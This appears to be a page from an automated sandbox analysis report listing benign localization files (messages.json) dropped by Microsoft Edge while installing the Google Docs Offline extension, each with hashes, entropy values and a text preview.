Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
